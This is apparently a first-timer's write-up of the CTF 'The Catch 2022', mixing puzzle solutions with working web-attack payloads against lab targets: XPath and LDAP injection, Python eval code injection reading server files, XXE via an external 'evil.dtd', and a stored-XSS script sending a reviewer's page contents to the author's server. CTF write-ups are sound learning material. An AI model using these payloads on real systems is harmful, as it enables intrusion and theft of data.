The Catch 2022


I've been aware that there's something like "The Catch" before since I've come across the name in posts on in previous years. I wasn't sure what the CTF really was but i seemed to be some kind of "challenge for hackers".

I typically work at the other side of the barricade, so even though I'm generally aware of the types of threats, I've never actively had to exploit them.

Since the October started again with a lot of "Cybersecurity awareness month" campaigns, I decided to give it a go this time. I quickly checked the website and see that there are some prizes for top players (which I've skipped since this was my first CTF and that was not even a theoretical goal) and smaller prizes (t-shirts, hoodies, etc.) for top 20.

Hm... intriguing... every proper hacker needs a hoodie (at least that's what Google images show). I have absolutely no idea how many people typically participate and how far one needs to get to be in top 20. To manage expectations, let's set the primary goal to learn something new. A hoodie would be a nice and welcome bonus, but I'll need to show some skills first to get there.

So the only thing remaining is to wait for Oct 10th until the registration opens.

The Story

The registration opens and I read the first task. Introduction contains the flags directly in the task description, so I enter it correctly and get first 0 points. However, the Candidate challenges unlock.

Candidate challenges

Regex crossword

I don't want to waste paper on the crossword so the snipping tool does the job. The crossword unravels quite nicely. It seems that the text is symmetrical, however, I don't want to rely on it, so I populate it using just the provided info without guessing. That is enough to populate all fields and the first flag is here.

1 point earned.

Solved regex crossword

VPN access

Since I use Windows on my desktop (yes, really) my original idea was to use some Linux in WSL2 for the challenge. I install openvpn using the package manager and even start it using the provided configuration, however, the new domain names are still not resolving and (as expected) the new network interface has not propagated to Windows. I suspected I'll need to use some browser tools later (not just command line) so I make a decision to install Windows OpenVPN client and use the config there.

I'm a bit scared since I know that when playing with something potentially dangerous I should do it in an isolated environment (i.e. at least do it in some virtual machine not on my primary system), but I hope that the CESNET team is nice and wouldn't expose me to any malicious environment

Note to self... be better prepared next time and set up a workstation with some virtual env.

After connecting to VPN I open the website in the task description which clearly shows the flag on top. No other work is needed. Another point earned.

Bitcoin wallet

The task implies that there are some bitcoin being transferred to a bitcoin wallet and the customers can get their code by entering their wallet ID.

Since all blockchain transactions should be public I navigate to to search for all transaction for a given wallet. Since there is only one, I take the source wallet ID and enter it on the provided website. The website shows payment confirmation with a flag hidden in a "Note" field (that needs to be expanded).

That brings my total to 3 points.

Unknown package

I download the images and see photos of a package with various symbols and codes. I hope that reading the codes should be enough and there will be no hidden message in JPEGs themselves. I'm also not a fan of installing unnecessary apps from random developers on my phone so after a while of googling I come across

Then it's just a matter of cropping the codes (e.g. using GIMP) and uploading them to the website to be read. Luckily, one of them contains the flag so no image/binary analysis is needed. I earn my 4th point and the Promotion task unlocks

The Story (again)

Promotion contains the flags directly in the task description, so I use it to unlock new tasks.


Route tracking

I'm given the list of sites and their distances (oriented graph to be precise). The task is to find the route with a given length which starts and ends in a depot. Since the sites have labels, the route itself should yield the flag.

The solution is just to implement the following algorithm in any language of choice

DFS(remaining, v, path):
  if (depth == 0 && v is depot): // path found
  if (depth < 0): // too far
  for each site u directly reachable from v and not visited yet:
       DFS(remaining - dist(u,v), u, path)

// find the path from depot to depot that is 163912m long
DFS(163912, depot, [])

As expected, the route is the flag worth 2 points.

Van keys

The Python code seems to have some bugs and does not work.

After adding missing imports (base64, random, hashlib) and fixing the two missing colons and some indentation issues the program is still missing a file used to generate the key.

As the name suggests, pi_dec_1m.txt probably contains the first million decimal places of π. While it's possible to write a program to calculate it, it surely is a piece of info that is pre-calculated and available somewhere for download.

When the file is in place, I just need to add the missing parts in the main function:

def main():
print("Mysterious Delivery, Ltd. - ultimate van engine secure start")

# generate key
key = generate_van_key(128)

# decryption
obj = AESCipher(key)

#TODO - read file
with open('van_keys_enc.aes', 'r') as fhnd:
    vankeys =

#TODO - decrypt file and get password for AES Vans
xxx = obj.decrypt(vankeys)
#TODO - distribute password

Executing the fixed prints the flag and another 2 points are mine.

Messenger portal

I open the website and try to populate random string (asdf) into a messenger identifier. The website returns a Javascript error saying the ID is invalid. I try a numeric one and nothing happens. Or at least it seems so...

The network panel in the Chrome Developer Tools shows XHR coming back with the following:

{"debugInfo":"Detected unsupported device. Only mobile devices are supported.","message":""}

Since the website itself also says that it's optimized for mobile devices I switch the developer tools to simulate a mobile device (i.e. send a specific User-Agent HTTP header among other things).

This time the error message changes and my XHR now returns

{"debugInfo":"Detected unsupported web browser! Only The Catcher\/1.0\/2022 is supported.","message":"Unsupported browser!"}

The message clearly tells me which "browser" to use so I modify the user agent (More tools -> Network conditions) to The Catcher/1.0/2022 as instructed by the error message.

I'm one step further, but this time, the error message changes to

{"debugInfo":"Detected unsupported OS! Only MessengerOS is supported.","message":"Unsupported OS!"}

One more modification and the User-Agent now becomes The Catcher/1.0/2022 (MessengerOS). This time the webpage comes back but shows a broken iframe in the center referencing ?messenger-jobs. Quick look at the browser console reveals the error message

Refused to display '' in a frame because it set X-Frame-Options' to 'deny'.

It seems I just need to get the content manually bypassing the browser controls. I extract the curl command from the network tab of the browser dev tools and execute it manually, i.e.

curl '' \
  -H 'Cookie: PHPSESSID=.....' \
  -H 'Referer:' \
  -H 'User-Agent: The Catcher/1.0/2022 (MessengerOS)'

The content comes back and I clearly see {...}GALF in the payload. I just need to reverse the string to get my next 3 points.

Fraudulent e-mail

After downloading and extracting the fraudulent e-mail I immediately spot the link to fraudulent website. I carefully check it with curl first, but since it does not seem to contain any suspicious JavaScript I decide to open it in the browser.

The page wants me to enter credit card details and does some validation, however, the credit card validation condition seems strange. The page accepts either 16-chars long number (as expected for a credit card) but also anything that's not a number as long as it's exactly 19 chars long.

I enter semicolon (;) followed by 18 spaces and the page shows a following error:

Warning: SimpleXMLElement::xpath(): Invalid expression in/var/www/html/index.php on line 82

This tells me that there's some XPath being evaluated under the hood and I suspect that the website tries to verify the captured credit card number against some bigger XML, i.e. something like /some/node[card=enteredNumber]

Using 1 or 1=1 (padded with spaces to 19 chars) reveals the first card on the list so clearly the error message doesn't display the whole result set, just the first node. However, I need to traverse all of them. Luckily, 19 chars still allows me to turn /some/node[card=enteredNumber] into /some/node[card=1 or 1=1][0] and enumerate. This should do the trick.

for i in `seq -w 0 150`; do
  curl -s '' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-raw "card-holder-name=catcher&card-number=1+or+1%3D1%5D%5B${i}++++++&card-expires-date=10%2F2022&card-cvv=123&proceed-to-pay=" | grep -i flag

This concludes the Incidents and it's time to look at Miscellaneous tasks.


Old webpages

The task description refers to "old" webpages and "previous IS". Since, as the popular saying goes, "What happens on the Internet stays on the Internet", I can try to use The Internet Archive Wayback Machine to check for older snapshots of the data on a given domain.

Not surprisingly, the history shows a few archived entries one of which contains the desired flag and earns me yet another point.

Download backup

After extracting the downloaded backup I'm presented with 2 files - another archive and a markdown file. I need to figure out what Brenda was working on to find the VIP code.

The archive itself is password protected, but the accompanying text file has all the necessary info, including plaintext password. Unfortunately, after extracting the archive I just see 4 files, none of them suspicious.

Let's take a look at the archive then

$ 7z l -ppassword download_backup.rar

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i5 CPU         750  @ 2.67GHz (106E5),ASM)

Scanning the drive for archives:
1 file, 15574158 bytes (15 MiB)

Listing archive: download_backup.rar

Path = download_backup.rar
Type = Rar5
Physical Size = 15574158
Solid = -
Blocks = 9
Encrypted = +
Multivolume = -
Volumes = 1

    Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2022-08-08 12:45:44 ....A     14839798     14677360  Download/1098612x18781390.pdf
2022-08-08 12:41:30 ....A       834077       777744  Download/img.png
2022-08-08 12:44:54 ....A        55385        51984  Download/thecatch2022-form-header.png
2022-08-08 12:42:54 ....A        67811        64000  Download/xDracula_08-03-2012.jpg
2022-08-08 12:56:35 D....            0            0  Download
------------------- ----- ------------ ------------  ------------------------
2022-08-08 12:56:35           15797071     15571088  4 files, 1 folders
2022-08-08 12:45:44                999          672  4 alternate streams
2022-08-08 12:56:35           15798070     15571760  8 streams

I see that the file contains 4 files, 1 folder and 4 alternate streams. I wonder how to see what they are.

Luckily opening the archive in 7z GUI is enough and I see all of them

7z showing alternate streams

The Zone.Identifier files are used by Windows to manage security settings for downloaded files and contain also the info about where the particular file was downloaded from. This sounds like the type of information I'm after. After examining all of them I find out that img.png comes from the page that I'm trying to find.

The link brings me to a "new webpage with superdiscount code for VIP customers" that Brenda was working on and which also contains the flag I'm after.

DNS storage

The task implies that AI started to store some information in TXT DNS records. It's time to do some dig-ging.

dig mysterious-delivery.tcc +short

Nothing... strange... After some time spending researching the syntax I realize, that by default only A records are shown. Adding any does the trick and I see all records.

dig mysterious-delivery.tcc any +short

However, no flag here. Since the domain is secured using DNSSEC, there's NSEC record that points to the next record. I check the next one and realize finding the flag might take more effort so I write a simple script.

while [ -n "$server" ]; do
  dig $server TXT +short >> txt.txt
  dig $server NSEC +short > last.txt
  server=`sed "s/\. .*//" last.txt`
  echo Server $server

The script still runs, however, it seems to be traversing some servers that look very similar and look just like padding. Let's check the generated txt.txt to see whether I've found the flag.

The task says that I should focus on codes for depot steel safes so the following part catches my eye

"cesnet headquarters"
"emmanuel lives here"
"blood tanks"
"secret code for steel safe is: RkxBR3tZcjMxLVhvWEUtNEZxOC02UElzfQ=="
"falcon storage"
"birthplace of MK"
"jean lives here, guy lives here" 

My next 3 points are just a matter of decoding the base64-encoded secret code (base64 -d).

Packets auditing

After extracting the archive I check the images. The description.png tells me that I'm looking for green packages on orange background.

There are too many images to go through manually so I decide to extract the metadata so that I can work with the data set more effectively. I come up with the following script to extract the values of pixels (0,0) (i.e. background) and (140,120) (i.e. package) to a file.

find -type f -name '*.png' -exec convert-im6 {}  -format "%d/%f %[hex:p{0,0}] %[hex:p{140,120}]\n" info: >> colors.txt \; 

I extract the orange background (E57939) and green package (00894B) from description.png and look for matching image.

grep "E57939 00894B" colors.txt

Nothing... that's weird. Let's see what colors are really used in the images

$ cut -f2 -d' ' colors.txt | sort | uniq

Great... so the orange background is actually F27930. Now let's do the same for package colors.

$ cut -f3 -d' ' colors.txt | sort | uniq

Well... at least foreground colors are consistent with background ones. The correct combination to look for is therefore F27930 008547.

$ grep "F27930 008547" colors.txt
./2022-08/30/19/000000.png F27930 008547

What a surprise! There's only one. I was afraid that there will be many and I'll have to filter out subsequent transitions in the following days.

Entering the package code from the image into the website reveals the flag and my score is 3 points higher.

Corporate websites

Streamlining portal

I'm presented with a simple webpage. It says just Hello user, however, the URL is also /hello/user. Let's check if it really interprets the URL.

Opening /hello/me shows Hello me and I start gathering more information. I notice that the response contains Server: gunicorn HTTP header which surely is no coincidence. Google tells me that gunicorn is a Python server so let's check how well the input is sanitized. Let's try closing the string.

$ curl 'http://user-info.mysterious-delivery.tcc/hello/m"+"e'
            <p class="lead">Hello me</p>

That's a good start. Let's see if I can get the source code of the page.

$ curl 'http://user-info.mysterious-delivery.tcc/hello/"+open(__file__,"r").read()+"'
from flask import Flask, Blueprint, redirect, render_template

bp = Blueprint("app", __name__)

def create_app():
    app = Flask(__name__)
    app.register_blueprint(bp, url_prefix="/")
    return app

def hello(userstring):
    message = eval('"Hello ' + userstring + '"')
    return render_template('index.html', message=message)

def redirect_to_user():
    return redirect("/hello/user", code=302)          

Now that I know how the code looks like, let's take a look at the filesystem.

$ curl -v --path-as-is 'http://user-info.mysterious-delivery.tcc/hello/"+str(exec("import%20os")%20or%20os.listdir())+"'
['FLAG', '__pycache__', 'templates', '']

Yay! There's a flag! Let's get it.

$ curl 'http://user-info.mysterious-delivery.tcc/hello/"+open("FLAG","r").read()+"'
<!doctype html>
<html lang=en>
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>

Okay... maybe it will be slightly more complicated. Let's take a look at what the FLAG is.

$ curl 'http://user-info.mysterious-delivery.tcc/hello/"+str(exec("import%20os")%20or%20os.stat("FLAG"))+"'
os.stat_result(st_mode=16877, st_ino=652049, st_dev=41, st_nlink=1, st_uid=0, st_gid=0, st_size=4096, st_atime=1667395861, st_mtime=1667334050, st_ctime=1667334050)

Ah... st_mode=16877 is octal 40755, which denotes a directory with permissions 755. Let's take a look inside.

$ curl 'http://user-info.mysterious-delivery.tcc/hello/"+str(exec("import%20os")%20or%20os.listdir("FLAG"))+"'

It seems I might be finally at the right place.

$ curl 'http://user-info.mysterious-delivery.tcc/hello/"+open("FLAG/flag.txt","r").read()+"'

Mystery solved and Streamlining portal NG unlocked.

Streamlining portal NG

Since AI improved the security measures, let's see what has been patched and how the code looks this time.

$ curl 'http://user-info-ng.mysterious-delivery.tcc/hello/"+open(__file__,"r").read()+"'
from flask import Flask, Blueprint, redirect, render_template, abort

bp = Blueprint("app", __name__)

def create_app():
    app = Flask(__name__)
    app.register_blueprint(bp, url_prefix="/")
    return app

def hello(userstring):
    if 'cd ' in userstring:
    message = eval('"Hello ' + userstring + '"')
    return render_template('index.html', message=message)

def redirect_to_user():
    return redirect("/hello/user", code=302)

It seems that nothing significant changed, apart from the fact that I can't use cd (which I haven't used anway) ant that userstring is no longer a path. That implies that I won't be able to use / in my commands.

Luckily, path separator can be obtained in Python even without having to write / explicitly.

$ curl 'http://user-info-ng.mysterious-delivery.tcc/hello/"+str(exec("import%20os")%20or%20open(os.sep+"app"+os.sep+"FLAG"+os.sep+"flag.txt","r").read())+"'

XML Prettifier

The prettyfier website contains two interesting parts.

Firstly, there's /notes URL which claims to be accessible only from localhost.

Secondly, there's the actual XML prettifier that parses, interprets and formats any XML that is sent to it. That looks like the way in.

Let's see if we can convince the XML parser to load the /notes and return it. Loadint it as an entity might work...

<!DOCTYPE foo [ <!ENTITY ext  SYSTEM "" > ]>

Almost. The entity has been loaded, however, it's not a proper XML so it can't be parsed and included. Let's try to construct an entity definition where the content will be wrapped in <![CDATA[...]]>.

<!DOCTYPE foo [
<!ENTITY % start "<![CDATA[">
<!ENTITY % notes SYSTEM "">
<!ENTITY % end "]]>">
<!ENTITY works "%start;%notes;%end;">

Nope. It seems I won't be able to do it inside the provided XML directly. However, loading the malicious DTD from external source might do the trick.

I install a webserver on my PC and put evil.dtd there with the following content:

<!ENTITY % start "<![CDATA[">
<!ENTITY % notes SYSTEM "">
<!ENTITY % end "]]>">
<!ENTITY works "%start;%notes;%end;">

After my evil.dtd is in place, I send the following XML to be prettified:

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "">

This time it works flawlessly and I'm able to read the flag from the prettified output.

Blog site

I'm looking at the blog site and I see a lot of posts where people tried posting various malicious strings hoping to discover a way in.

There's a registration form with absurdly long password requirement and a login form. After registering, I can not only post a message but also edit and delete it. Or... to be precise... updating works but an attempt to delete the post returns 500.

I decide that the way in won't be in adding the posts (the posts are visible to everyone and organizers surely wouldn't want to hint other players) but perhaps in registration, login or that broken delete. However, I can't figure out anything useful.

I'm looking for other hints and I notice the Flaskr heading. It's unlikely that it has been left there accidentally so I spend some time googling what Flaskr is, however, I don't learn anything I'd be able to exploit either. I spend quite some time playing with various inputs and then I give up.

Either I'm missing something obvious or this task is beyond my skill level. I hope that when the challenge ends the solutions will be published, so I'm really looking forward to reading the solution to this one.

No points for me here.


While this task is worth more points than Blog site I immediately spot some useful hints there.

The HTML source code contains the IP address of LDAP server and more comments indicating what type of query is being executed.

I recognize the prefix notation and the leading | allows me to inject a content that would turn a query into (condition that author intended) or (whatever I wish).

After carefully counting the parentheses I come up with *))(|(objectclass=*.

I see the list of all LDAP entries on the screen, however, not all fields are visible. Luckily, the Description field for ldap_sync user contains it's password along with Don't change password message.

This looks like a moment where the LDAP IP address comes handy so I run LDAP search to list all objects directly against the server.

ldapsearch -x -D "uid=ldap_sync,ou=people,dc=local,dc=tcc" -w passwordhere -H ldap:// -b "dc=local,dc=tcc"

Great. This feels like progress. Now I see not only the info that has been presented on the website, but all the other fields too.

Two fields catch my attention instantly: sambaNTPassword and sambaLMPassword. A bit of research shows that the LM password is using a weak hashing function and should be breakable without any significant effort.

Rainbow tables come handy and I'm able to break the LM hashes for the users.

All of them look pretty random, except for admin2 password which says TOOSTRONGPASS.. Since the admin2 is the only member of the web_admins group, this looks like the correct way forward.

Another research shows that the LM password is calculated from the actual password transformed by the following

  • conversion to UPPERCASE
  • getting bytes representation in "System OEM" codepage
  • null-padding to 14 bytes
  • ...

I write a script to generate all upper/lowercase variants of the password, however, NT hash for none of the variants matches the one stored in LDAP.

Since the broken hash contains just valid bytes (no null-bytes) I focus on the OEM codepage. However, I don't have much experience in that area. My googling shows that there are several "OEM" codepages (depending on the region) so perhaps the password has been crippled somehow when being migrated (One of the comments in the website source refers to non-migrated LDAP group in past so probably some kind of migration has happened).

The downside of my approach is that all the OEM codepages are the same in the characters used in the password and the differences are only in other bytes/characters.

I'm thinking whether some other migration-type issue couldn't have occurred, e.g. lost accents on characters, however, that leads to a very big set and I wouldn't be able to try all the combinations of accented letters unless I could spare years of computation time (and money for electricity bills).

Unfortunately, despite the promising start I find myself in a dead end and since there are no points for partial results, there are no points for me here either.

Orderly IS

The orderly information system allows me to do two thigs. To add an order and to log in.

It is suspicious that the login form just asks for a password and not a username and what's even more strange is that the pasword field is input of type text, not a password. That looks like something worth remembering.

The actual /order/add form allows me to enter some order. After submitting it says that the order has been placed to a queue and renders an order for review.

It doesn't take much time to discover that the content is not sanitized and allows for XSS. Since the page explicitly says the order has been placed into the queue, perhaps there's someone reviewing the orders on the other side.

This is the time when my webserver from before comes in handy. Let's see

<script src=""></script>

The logs from my webserver indeed show connections attempting to download orderly.js coming from another computer with the User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0, so there's surely someone on the other side.

To see what they're looking at, I'm adding the following code to my malicious JS file:

var Base64 = /** Base64 implementation here **/
var me = ""
var report = (name, val) => {
  var i = new Image;
  i.src = me+"1x1.png?" + name + "=" + val;

var myinit = function() {
  report("url", window.location);
  report("html", Base64.encode(document.documentElement.outerHTML));

window.addEventListener('DOMContentLoaded', myinit, false);

I see that the reviewer is looking at /order/process and after decoding the base64 content I see the HTML.

  <title>Process order (adminuser)</title>
<form method="POST">
  <input id="csrf_token" name="csrf_token" type="hidden" value="...">
  <input class="btn btn-primary" type="submit" name="submit" value="Get next order">

I'm trying to make the user retrieve the next order by modifying my orderly.js

function myinit() {
  var token = document.getElementById("csrf_token").value;
  fetch("/order/process", {
      method: "POST",
      headers: {
          "Content-Type": "application/x-www-form-urlencoded"
      body: "csrf_token=" + token + "&submit=Get%20next%20order"
  }).then(function (res) {
      if (res.ok) {
          res.text().then(txt => {
              report("nextOrder", Base64.encode(txt));
      } else {
          report("getNextErrStatus", res.status)
  }, function (e) {
      report("getNextError", Base64.encode(JSON.stringify(e)));

The HML comes back, but instead of the flag, there's just No order available message.

I remember the text password field so I try to display a login form in an iframe, calling the /logout endpoint and then displaying login form and various other things hoping that I'll either be able to make the adminuser open some page with a flag or some browser auto-complete kicks in and I'll be able to read the password value from JS and send it back to my PC.

I also try using html2canvas to create a screenshot and send it back, however, for some mysterious reason anything using setTimeout or setInterval doesn't seem to work on the remote machine (even though desired requests from my browser hit my mock webserver as expected) and my JavaScript-fu is not strong enough to be able to do it blindly without seeing error messages.

Well, unlike the Blog site at least I've been able to identify the vulnerability, even though I wasn't able to exploit it and retrieve the flag.

I feel I was not very far from the flag, however, like in previous case, there are no points for me here either.


I'm checking the scoreboard and to my big surprise I'm around 13th place, i.e. well within top 20. The downside is that I know I'm missing 3 tasks worth a lot of points and it's probably just a matter of time until someone else solves them and places higher than me.

Starting October 12th I spend another full week trying to come up with something that would take me past the final step in the Phonebook and Orderly IS. Unfortunately, nothing helps. Perhaps that hood on the hacker's hoodie is magical and filled with ideas and it would help if I had one. Since I don't, I'm just watching my position sink furhter and further down. Then it's time for holiday.

After returning from holidays on October 30th I check the challenge website one more time. Top 30 award winners were published.

Wait a moment... top 30? I'm pretty sure it was top 20 before. I quickly check my final standings to find out, that I finished 33rd. I've been already at peace with the fact that I haven't made it to the awarded section, however, being this close reopens all the "what ifs".

Looking back at my original motivation, I primarilly wanted to learn something. Have I succeeded? I surely learnt that discovering a vulnerability and actively exploiting it are two very different disciplines. I'm also looking forward to reading the solutions from more successful players and learning what I've missed in the tasks I was not able to complete, or whether the tasks I've managed to complete could have been done differently/better.

However, there are still some extra-rewards to be awarded, some of them (board games, t-shirts and those magical hacker's hoodies again) for best write-ups.

I'm not sure whether the write-ups need to follow some formating/content rules (there's no such info in the competition rules). I'm therefore compiling this document and still hoping.

Will it be enough to earn the magical hacker's hoodie full of knowledge and smart ideas? I do not know.

What I do know, however, is that next year I'm definitely doing The Catch again.